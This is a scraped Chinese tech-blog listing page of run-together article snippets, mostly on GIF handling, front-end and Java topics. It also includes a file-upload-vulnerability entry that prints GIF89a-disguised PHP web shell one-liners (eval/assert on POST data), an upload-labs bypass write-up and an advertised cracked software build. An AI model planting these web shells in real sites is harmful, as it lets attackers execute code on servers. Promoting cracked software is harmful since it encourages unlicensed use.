- 网页制作03-html,css,javascript初认识のhtml的图像设置
Ama_tor
网页制作专栏htmlcss前端
一、图像格式网页中图像的格式有三种,Gif,Jpeg,PngGif:Graphicinterchangeformat图像交换格式,文件最多可使用256种颜色,最适合显示色调不连续或具有大面积单一颜色的图像,例如导航条、按钮、图标、徽标或其他具有统一色彩和色调的图像;还可以制作动态图像Jpeg:Giantphotographicexpectgroup,它是一种图像压缩格式,可包含数百万种颜色,不支持
- 前端面试题(HTML篇)
每天一点点~
htmlcssjavascript
1.网络中使用最多的图片格式有哪些?JPEG,GIF,PNG最流行的是JPEG格式,可以把文件压缩到最小在PS以JPEG格式存储时,提供11级压缩等级2.Doctype作用?严格模式与混杂模式如何区分?它们有何意义?声明文档类型声明位于位于HTML文档中的第一行,处于标签之前DOCTYPE不存在或格式不正确会导致文档以兼容模式呈现。标准模式(严格模式)浏览器按照W3C的标准解析执行代码标准模式(严
- 文件上传绕过
clown_YZ
网络安全
1.准备upload-labs靶场(此篇文章仅针对pass-20)2.打开pass-20并查看上传代码3.对上传代码进行分析$is_upload=false;$msg=null;if(!empty($_FILES['upload_file'])){//检查MIME$allow_type=array('image/jpeg','image/png','image/gif');if(!in_array
- Linux 固定 IP 地址和网关
法号:行颠
Linuxlinux
Linux固定IP地址和网关查看IPifconfigifconfigeth0ipaddripaddrshoweth0查看网关iprouteshowroute-nnetstat-rn设置固定IP//配置静态IP文件/etc/network/interfaces$vi/etc/network/interfacesautoeth0ifaceeth0inetstaticaddress192.168.0.2
- 文件上传漏洞常用payload
Werqy3
web安全安全
[极客大挑战2019]UploadGIF89a@eval($_POST[1]);GIF89a$a="a"."s";$b="s"."e"."r"."t";$c=$a.$b;$c($_POST["1"]);
- springboot+vue使用EasyCaptcha实现简单验证码
ueanaIU潇潇子
springbootvue.js图形验证码EasyCaptcha
一、实现效果springboot使用EasyCaptcha实现简单验证码,更多api和用法可以去github上查看EasyCaptcha:Java图形验证码,支持gif、中文、算术等类型,可用于JavaWeb、JavaSE等项目。二、实现步骤1、导入依赖com.github.whvcseeasy-captcha1.6.2org.openjdk.nashornnashorn-core15.4我使用的
- Divine Gifting ( [2024-2025 ICPC Southwestern European Regional Contest (SWERC 2024)](gym105677). )
BoBoo文睡不醒
acm训练集合dp逆推线性dp
DivineGifting(2024-2025ICPCSouthwesternEuropeanRegionalContest(SWERC2024).)Acelestialscroll,detailingZeus’slatestwhimunfurlsbeforeHermes:thenextfewmilleniawillbeaperiodofdivinegiftingformortals.Hermes
- 批量图像格式转换软件 ReaConverter Pro v7.8 中文注册版
小刀娱乐软件
windows电脑经验分享
reaConverterPro是一款图片批量转换工具,它支持大量的图片格式。无论您需要执行的是简单的格式转换还是复杂的图像编辑,如调整尺寸、旋转、添加滤镜、美化以及添加水印,reaConverterPro都能助您一臂之力。此外,它还支持创建带透明背景的GIF动画,让您的创作更加多样化。该版本已注册,可以使用全部功能。使用说明:1、将压缩文件解压到固定位置,不要随意移动。2、解压后,双击start_
- JavaScript 中处理 object 对象类型的常见方法
像素检测仪
前端jsjavascript前端typescript
目录一、对象的基本操作1.创建对象2.访问和修改属性3.添加新属性4.删除属性5.检查属性是否存在二、对象的组合操作1.合并对象2.扩展运算符3.对象解构三、对象的深拷贝1.使用JSON.parse和JSON.stringify2.使用递归函数四、对象的遍历1.for...in循环2.Object.keys()3.Object.entries()五、常用对象方法1.Object.assign()2
- 压缩动态图片gif 和 静态图片的方法,返回Blob对象
weixin_45907435
javascript前端开发语言
1、定义--压缩动态图片方法exportconstgifCompress=(file,url,max,min,times)=>{if(window.FileReader){letcolors=255letcount=0constfr=newFileReader()fr.readAsArrayBuffer(file)returnnewPromise((resolve)=>{fr.onload=asy
- [WebApi]Ajax传递数组到API
厦门德仔
#WebApiajaxjavascriptjson
Ajax传递数组到后台之前有传递对象到后台。通过对象JSON.stringify(opt)方式传递。现在遇到一个问题多参数,其中一个参数是List。尝试过各种方法都无法解决,后来把非list参数组合到URL中,单独传递js数组或list对象到后台。代码如下:$("#btntest2").click(function(){
- 【鸿蒙HarmonyOS Next实战开发】多媒体视频播放-GSYVideoPlayer
阿康2024
harmonyos音视频华为
简介GSYVideoPlayer是一个视频播放器库,支持切换内核播放器(IJKPlayer、avplayer),并且支持视频截图能力、视频生成gif能力、边播边缓存能力、视频全屏能力等多种能力。效果展示:下载安装ohpminstall@ohos/gsyvideoplayerOpenHarmonyohpm环境配置等更多内容,请参考如何安装OpenHarmonyohpm包使用说明规格说明目前支持音视频
- 【Python开发技术之PyQt5精品教学】第10课--PyQt5 基本小部件
青少年编程作品集
python中级编程pythonqt开发语言pyqtscikit-learnplotlyvirtualenv
PyQt5基本小部件这是我们将在本章逐个讨论的小部件列表。序号组件和说明1QLabelQLabel对象用作占位符,用于显示不可编辑的文本、图像,或者动画GIF的电影。它也可以用作其他小部件的助记符键。2QLineEditQLineEdit对象是最常用的输入字段。它提供了一个框,可以输入一行文本。要输入多行文本,需要使用QTextEdit对象。3QPushButton在PyQtAPI中,QPushB
- 【Python学习-UI界面】PyQt5 小部件汇总
寒山独见君~
#学习uiqtpython
序号组件说明详细介绍链接1QLabel用作占位符,用于显示不可编辑的文本、图像,或者动画GIF的电影。它也可以用作其他小部件的助记符键。2QLineEdit是最常用的输入字段。它提供了一个框,可以输入一行文本。要输入多行文本,需要使用QTextEdit对象。3QPushButton在PyQtAPI中,QPushButton类对象表示一个按钮,当点击时可以编程调用某个函数。4QRadioButton
- 高项 第四版 第二章 信息技术及其发展考点
赏我一分钱啦
职场和发展学习方法
信息技术发展信息技术定义信息技术是对信息进行获取、加工、处理、存储和使用的技术。计算机硬件计算机硬件是由电子、机械和光电元件等组成的各种物理装置的总称。计算机网络OSI七层协议应用层:具体的网络应用,如FTP、SMTP、HTTP、Telent、POP3。表示层:定义数据格式,加密,例如GIF、JPEG、DES、ASCLL、MPEG。会话层:两点之间建立和维持会话,像SQL、NFS、RPC。传输层:
- python中label函数_图像分析函数:skimage.measure中的label、regionprops
weixin_39867212
python中label函数
算法解释详细,有算法执行过程动态GIF图的:https://blog.csdn.net/icvpr/article/details/10259577算法文字解释的简介易懂的:https://www.cnblogs.com/ryuasuka/p/4932239.htmlregionprops函数一些属性的效果演示:https://www.cnblogs.com/nktblog/archive/201
- uniapp各种路由与页面跳转路径
小轻知
javascript开发语言ecmascript
//跳转有长度限制过长的时候用encodeURIComponent//pages/test/test?item='+encodeURIComponent(JSON.stringify(item))//1.保留当前B页面,跳转到应用内的某个页面,会计入栈中uni.navigateTo({url:'url?id=1&name=uniapp'});//2.关闭当前B页面,跳转到应用内的某个页面,不会计入
- 数据库刷题:获取当前薪水第二多的员工的emp_no以及其对应的薪水salary
程序员馨馨
软件测试面试-数据库数据库功能测试
一、题目描述有一个员工表employees简况如下:emp_nobirth_datefirst_namelast_namegenderhire_date100011953-09-02GeorgiFacelloM1986-06-26100021964-06-02BezalelSimmelF1985-11-21100031959-12-03PartoBamfordM1986-08-2810004195
- 探索赛博复古:《电子包浆》——你的未来老照片虚拟器
蓬玮剑
探索赛博复古:《电子包浆》——你的未来老照片虚拟器去发现同类优质开源项目:https://gitcode.com/在快速发展的数字世界里,我们常常怀念那些被岁月磨损的老照片带来的温馨和故事感。为此,我们带来了创新的开源项目——《电子包浆》,一个强大的图片做旧工具,让你的现代图像瞬间拥有时间的痕迹,体验赛博朋克式的复古魅力。项目介绍《电子包浆》是一款基于Web的工具,它允许用户对静态图片甚至GIF动
- C++中的网络协议和网络框架TCP和HTTP
牵牛老人
C++专栏网络协议网络c++
一.OSI七层网络模型即开放式系统互连。一般都叫OSI参考模型,是ISO组织在1985年研究的网络互连模型。该体系结构标准定义了网络互连的七层框架(物理层、数据链路层、网络层、传输层、会话层、表示层和应用层),即OSI开放系统互连参考模型。应用层:HTMLclass,HTTPAPIserver表示层:CSS,GIF,XML,JSON会话层:FTP,HTTP,HTTPS,SMTP,Telnet传输层
- 【前端基础】——浅拷贝和深拷贝
Array[林]
前端——JavaScript前端前端javascript
文章目录浅拷贝和深拷贝浅拷贝和深拷贝的定义浅拷贝深拷贝数据类型的值传递和地址传递浅拷贝实现的具体方式数字方法slice()Object.assignfor...in...深拷贝的具体实现JSON.parse(JSON.stringify())递归浅拷贝和深拷贝浅拷贝和深拷贝的定义浅拷贝浅拷贝对内存地址的复制,让目标对象指针和源对象指向同一片内存空间。深拷贝深拷贝是指拷贝对象的具体内容,其内存地址是
- 前端实现浅拷贝和深拷贝的方法
Lucky_girl_wan
记录vue.js前端javascript
浅拷贝就是指对象复制的时候只复制一层,当源对象的数据改变时,新的对象的数据也会改变深拷贝是指复制对象的所有层级,当源对象的数据改变时,新的对象的数据不会改变1.JSON.parse(JSON.stringify())既可以拷贝数组也可以拷贝对象不可以拷贝函数(深拷贝)letarr1=[1,2,false,{a:1}]letarr2=JSON.parse(JSON.stringify(arr_1))
- 五子棋ai启发式搜索_一种快速而简单的人工智能启发式学习语言的方法
weixin_26630173
python人工智能java机器学习算法
五子棋ai启发式搜索介绍(Introduction)ThespecialthingIfoundwhenIfirststarteddivingintothefieldofArtificialIntelligencewastheinfiniteamountofparallelsbetweenhowneuralnetworkslearnandmysubjectiveexperienceofmyownin
- c语言八数码问题启发式搜索_一种快速且简单的AI启发式语言学习方法
weixin_26632369
pythonjava人工智能编程语言机器学习
c语言八数码问题启发式搜索介绍(Introduction)ThespecialthingIfoundwhenIfirststarteddivingintothefieldofArtificialIntelligencewastheinfiniteamountofparallelsbetweenhowneuralnetworkslearnandmysubjectiveexperienceofmyow
- 17.3.6 分解动态gif图片
.Net学习
C#教程c#gif
版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。动态gif图片实际是由多张图片组成的,要获取这些图片,需要使用到Image类的GetFrameCount和SelectActiveFrame方法:1、通过GetFrameCount方法获得FrameDimension指定维度的帧数。它的语法:publicintGetFrameCount(Frame
- Mac电脑上好用的免费截图软件
kcarly
MacOS杂谈macos截图工具
在Mac电脑上,有许多免费且功能强大的截图软件可供选择。以下是几款备受推荐的免费截图工具:iShot功能:iShot是一款免费的截图工具,支持多种截图方式,包括长截图、延时截图、滚动截图、窗口截图、区域截图等。此外,它还具备标注、贴图、录屏、OCR识别等功能,可以导出为多种格式(如GIF、MP4、PNG等)。优点:操作简单,界面美观,支持自定义快捷键和设置,适合日常使用和专业需求。下载方式:可在A
- 怎么下载 protoc-gen-grpc-java-1.51.0-linux-aarch_64.exe
Thomas2143
总结maven
方案通过maven官方下载.下有gif动画演示.step1step2step3step4GIF演示
- 文件上传绕过
Clockwiseee
android
文章目录攻击与绕过方式一、条件竞争二、二次渲染结合文件包含绕过1、gif2、png3、jpg三、.htaccess解析绕过四、文件后缀名绕过1、文件特殊后缀名+大小写绕过2、::$DATA绕过3、双后缀名绕过4、点绕过5、空格绕过五、文件头绕过六、短标签绕过七、MIME(Content-Type)绕过八、00截断九、垃圾字符绕过十、中间件解析漏洞十一、构造绕过十二、Content-Disposit
- gif动画图像优化,相同的图在第2,4,6帧中重复出现,会增加图像体积吗?
专注VB编程开发20年
GIF动画图像编程
对于GIF图像,情况与Git文件存储有所不同。GIF是一种图像格式,其体积主要取决于图像的内容、颜色数量、优化设置等因素。如果在GIF动画中,相同的图像在第2、4、6帧中重复出现,是否会增加图像体积,取决于以下几点:1.GIF的帧存储方式GIF动画是由多个帧组成的,每个帧可以是一个完整的图像,也可以是相对于前一帧的差异。GIF格式支持帧之间的压缩和重复利用,但具体是否重复存储取决于帧的内容和编码方
- 单点登录SSO:概述与示例
百宝门-SSO顾问
单点登录(SSO)单点登录sso身份管理百宝门oracleesso
原文是一个系列:http://www.cnblogs.com/baibaomen/p/sso.html,曾上博客园推荐榜首。建议看原文,此处排版全乱了。转载需注明原文链接。单点登录SSO概述本系列将由浅入深的,带大家掌握最新单点登录SSO方案选型,以及架构开发实战。系列将结合示例、源码以及演示视频,让大家能够直观、深入学习。文末附5个满足不同单点登录场景的gif动画演示。本系列后继文章会深入它们的
- ASM系列四 利用Method 组件动态注入方法逻辑
lijingyao8206
字节码技术jvmAOP动态代理ASM
这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现。通过前面一篇,知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例。那么我们也基本可以知道,同ClassVisitor改变类成员一样,MethodVIsistor如果需要改变方法成员,注入逻辑,也可以
- java编程思想 --内部类
百合不是茶
java内部类匿名内部类
内部类;了解外部类 并能与之通信 内部类写出来的代码更加整洁与优雅
1,内部类的创建 内部类是创建在类中的
package com.wj.InsideClass;
/*
* 内部类的创建
*/
public class CreateInsideClass {
public CreateInsideClass(
- web.xml报错
crabdave
web.xml
web.xml报错
The content of element type "web-app" must match "(icon?,display-
name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,s
- 泛型类的自定义
麦田的设计者
javaandroid泛型
为什么要定义泛型类,当类中要操作的引用数据类型不确定的时候。
采用泛型类,完成扩展。
例如有一个学生类
Student{
Student(){
System.out.println("I'm a student.....");
}
}
有一个老师类
- CSS清除浮动的4中方法
IT独行者
JavaScriptUIcss
清除浮动这个问题,做前端的应该再熟悉不过了,咱是个新人,所以还是记个笔记,做个积累,努力学习向大神靠近。CSS清除浮动的方法网上一搜,大概有N多种,用过几种,说下个人感受。
1、结尾处加空div标签 clear:both 1 2 3 4
.div
1
{
background
:
#000080
;
border
:
1px
s
- Cygwin使用windows的jdk 配置方法
_wy_
jdkwindowscygwin
1.[vim /etc/profile]
JAVA_HOME="/cgydrive/d/Java/jdk1.6.0_43" (windows下jdk路径为D:\Java\jdk1.6.0_43)
PATH="$JAVA_HOME/bin:${PATH}"
CLAS
- linux下安装maven
无量
mavenlinux安装
Linux下安装maven(转) 1.首先到Maven官网
下载安装文件,目前最新版本为3.0.3,下载文件为
apache-maven-3.0.3-bin.tar.gz,下载可以使用wget命令;
2.进入下载文件夹,找到下载的文件,运行如下命令解压
tar -xvf apache-maven-2.2.1-bin.tar.gz
解压后的文件夹
- tomcat的https 配置,syslog-ng配置
aichenglong
tomcathttp跳转到httpssyslong-ng配置syslog配置
1) tomcat配置https,以及http自动跳转到https的配置
1)TOMCAT_HOME目录下生成密钥(keytool是jdk中的命令)
keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit
- 关于领号活动总结
alafqq
活动
关于某彩票活动的总结
具体需求,每个用户进活动页面,领取一个号码,1000中的一个;
活动要求
1,随机性,一定要有随机性;
2,最少中奖概率,如果注数为3200注,则最多中4注
3,效率问题,(不能每个人来都产生一个随机数,这样效率不高);
4,支持断电(仍然从下一个开始),重启服务;(存数据库有点大材小用,因此不能存放在数据库)
解决方案
1,事先产生随机数1000个,并打
- java数据结构 冒泡排序的遍历与排序
百合不是茶
java
java的冒泡排序是一种简单的排序规则
冒泡排序的原理:
比较两个相邻的数,首先将最大的排在第一个,第二次比较第二个 ,此后一样;
针对所有的元素重复以上的步骤,除了最后一个
例题;将int array[]
- JS检查输入框输入的是否是数字的一种校验方法
bijian1013
js
如下是JS检查输入框输入的是否是数字的一种校验方法:
<form method=post target="_blank">
数字:<input type="text" name=num onkeypress="checkNum(this.form)"><br>
</form>
- Test注解的两个属性:expected和timeout
bijian1013
javaJUnitexpectedtimeout
JUnit4:Test文档中的解释:
The Test annotation supports two optional parameters.
The first, expected, declares that a test method should throw an exception.
If it doesn't throw an exception or if it
- [Gson二]继承关系的POJO的反序列化
bit1129
POJO
父类
package inheritance.test2;
import java.util.Map;
public class Model {
private String field1;
private String field2;
private Map<String, String> infoMap
- 【Spark八十四】Spark零碎知识点记录
bit1129
spark
1. ShuffleMapTask的shuffle数据在什么地方记录到MapOutputTracker中的
ShuffleMapTask的runTask方法负责写数据到shuffle map文件中。当任务执行完成成功,DAGScheduler会收到通知,在DAGScheduler的handleTaskCompletion方法中完成记录到MapOutputTracker中
- WAS各种脚本作用大全
ronin47
WAS 脚本
http://www.ibm.com/developerworks/cn/websphere/library/samples/SampleScripts.html
无意中,在WAS官网上发现的各种脚本作用,感觉很有作用,先与各位分享一下
获取下载
这些示例 jacl 和 Jython 脚本可用于在 WebSphere Application Server 的不同版本中自
- java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句
bylijinnan
switch
借鉴网上的思路,用java实现:
public class NoIfWhile {
/**
* @param args
*
* find x=1+2+3+....n
*/
public static void main(String[] args) {
int n=10;
int re=find(n);
System.o
- Netty源码学习-ObjectEncoder和ObjectDecoder
bylijinnan
javanetty
Netty中传递对象的思路很直观:
Netty中数据的传递是基于ChannelBuffer(也就是byte[]);
那把对象序列化为字节流,就可以在Netty中传递对象了
相应的从ChannelBuffer恢复对象,就是反序列化的过程
Netty已经封装好ObjectEncoder和ObjectDecoder
先看ObjectEncoder
ObjectEncoder是往外发送
- spring 定时任务中cronExpression表达式含义
chicony
cronExpression
一个cron表达式有6个必选的元素和一个可选的元素,各个元素之间是以空格分隔的,从左至右,这些元素的含义如下表所示:
代表含义 是否必须 允许的取值范围 &nb
- Nutz配置Jndi
ctrain
JNDI
1、使用JNDI获取指定资源:
var ioc = {
dao : {
type :"org.nutz.dao.impl.NutDao",
args : [ {jndi :"jdbc/dataSource"} ]
}
}
以上方法,仅需要在容器中配置好数据源,注入到NutDao即可.
- 解决 /bin/sh^M: bad interpreter: No such file or directory
daizj
shell
在Linux中执行.sh脚本,异常/bin/sh^M: bad interpreter: No such file or directory。
分析:这是不同系统编码格式引起的:在windows系统中编辑的.sh文件可能有不可见字符,所以在Linux系统下执行会报以上异常信息。
解决:
1)在windows下转换:
利用一些编辑器如UltraEdit或EditPlus等工具
- [转]for 循环为何可恨?
dcj3sjt126com
程序员读书
Java的闭包(Closure)特征最近成为了一个热门话题。 一些精英正在起草一份议案,要在Java将来的版本中加入闭包特征。 然而,提议中的闭包语法以及语言上的这种扩充受到了众多Java程序员的猛烈抨击。
不久前,出版过数十本编程书籍的大作家Elliotte Rusty Harold发表了对Java中闭包的价值的质疑。 尤其是他问道“for 循环为何可恨?”[http://ju
- Android实用小技巧
dcj3sjt126com
android
1、去掉所有Activity界面的标题栏
修改AndroidManifest.xml 在application 标签中添加android:theme="@android:style/Theme.NoTitleBar"
2、去掉所有Activity界面的TitleBar 和StatusBar
修改AndroidManifes
- Oracle 复习笔记之序列
eksliang
Oracle 序列sequenceOracle sequence
转载请出自出处:http://eksliang.iteye.com/blog/2098859
1.序列的作用
序列是用于生成唯一、连续序号的对象
一般用序列来充当数据库表的主键值
2.创建序列语法如下:
create sequence s_emp
start with 1 --开始值
increment by 1 --増长值
maxval
- 有“品”的程序员
gongmeitao
工作
完美程序员的10种品质
完美程序员的每种品质都有一个范围,这个范围取决于具体的问题和背景。没有能解决所有问题的
完美程序员(至少在我们这个星球上),并且对于特定问题,完美程序员应该具有以下品质:
1. 才智非凡- 能够理解问题、能够用清晰可读的代码翻译并表达想法、善于分析并且逻辑思维能力强
(范围:用简单方式解决复杂问题)
- 使用KeleyiSQLHelper类进行分页查询
hvt
sql.netC#asp.nethovertree
本文适用于sql server单主键表或者视图进行分页查询,支持多字段排序。KeleyiSQLHelper类的最新代码请到http://hovertree.codeplex.com/SourceControl/latest下载整个解决方案源代码查看。或者直接在线查看类的代码:http://hovertree.codeplex.com/SourceControl/latest#HoverTree.D
- SVG 教程 (三)圆形,椭圆,直线
天梯梦
svg
SVG <circle> SVG 圆形 - <circle>
<circle> 标签可用来创建一个圆:
下面是SVG代码:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" c
- 链表栈
luyulong
java数据结构
public class Node {
private Object object;
private Node next;
public Node() {
this.next = null;
this.object = null;
}
public Object getObject() {
return object;
}
public
- 基础数据结构和算法十:2-3 search tree
sunwinner
Algorithm2-3 search tree
Binary search tree works well for a wide variety of applications, but they have poor worst-case performance. Now we introduce a type of binary search tree where costs are guaranteed to be loga
- spring配置定时任务
stunizhengjia
springtimer
最近因工作的需要,用到了spring的定时任务的功能,觉得spring还是很智能化的,只需要配置一下配置文件就可以了,在此记录一下,以便以后用到:
//------------------------定时任务调用的方法------------------------------
/**
* 存储过程定时器
*/
publi
- ITeye 8月技术图书有奖试读获奖名单公布
ITeye管理员
活动
ITeye携手博文视点举办的8月技术图书有奖试读活动已圆满结束,非常感谢广大用户对本次活动的关注与参与。
8月试读活动回顾:
http://webmaster.iteye.com/blog/2102830
本次技术图书试读活动的优秀奖获奖名单及相应作品如下(优秀文章有很多,但名额有限,没获奖并不代表不优秀):
《跨终端Web》
gleams:http